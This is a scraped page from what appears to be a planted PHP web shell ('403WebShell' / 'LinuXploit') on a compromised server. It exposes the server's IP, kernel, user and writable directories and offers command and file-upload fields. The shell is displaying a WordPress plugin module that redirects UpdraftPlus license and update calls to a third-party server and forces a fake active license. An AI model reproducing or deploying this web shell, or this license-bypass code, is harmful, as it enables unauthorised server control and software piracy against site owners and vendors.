$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/updraftplus.php
<?php
/**
 * UpdraftPlus Premium module.
 *
 * Redirects UpdraftPlus update/license requests to GLS3.
 * Sets connection options so the plugin sees an active license.
 *
 * Pro version starts with 2.x.x, free with 1.x.x.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * UpdraftPlus Premium license module.
 */
class Updraftplus extends AbstractModule {

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'updraftplus';
		$this->name        = 'UpdraftPlus Premium';
		$this->description = 'Manages UpdraftPlus Premium license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'updraftplus',
			'plugin_file' => 'updraftplus.php',
		);
		$this->target_id   = '3016318580';

		$this->blocked_domains = array();
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		ApiRedirector::create(
			'https://updraftplus.com',
			HELLOPACK_GLS3_URL . '/updraftplus'
		);

		$this->activate_license();
		$this->fix_update_transient();
	}

	/**
	 * Activate UpdraftPlus Premium license.
	 *
	 * Merges email into existing options (preserving password, tokens, etc.)
	 * and sets the site ID. Uses site_option consistently for multisite.
	 */
	private function activate_license(): void {
		$option_name = 'updraftplus-addons_options';
		$options     = get_site_option( $option_name, array() );

		if ( ! is_array( $options ) ) {
			$options = array();
		}

		if ( ( $options['email'] ?? '' ) !== 'license@hellowp.io' ) {
			$options['email'] = 'license@hellowp.io';
			update_site_option( $option_name, $options );
		}

		if ( ! get_site_option( 'updraftplus-addons_siteid' ) ) {
			update_site_option(
				'updraftplus-addons_siteid',
				md5( 'hellopack-' . home_url() )
			);
		}
	}

	/**
	 * Fix the update transient to prevent stale download URLs.
	 *
	 * Removes the download_url from external_updates-updraftplus
	 * so WordPress doesn't try to download from an invalid URL.
	 */
	private function fix_update_transient(): void {
		$external_updates = get_site_option( 'external_updates-updraftplus' );

		if ( $external_updates && is_object( $external_updates ) && isset( $external_updates->update ) ) {
			if ( ! empty( $external_updates->update->download_url ) ) {
				$external_updates->update->download_url = '';
				update_site_option( 'external_updates-updraftplus', $external_updates );
			}
		}
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		delete_site_option( 'updraftplus-addons_options' );
		delete_site_option( 'updraftplus-addons_siteid' );
		delete_site_option( 'external_updates-updraftplus' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit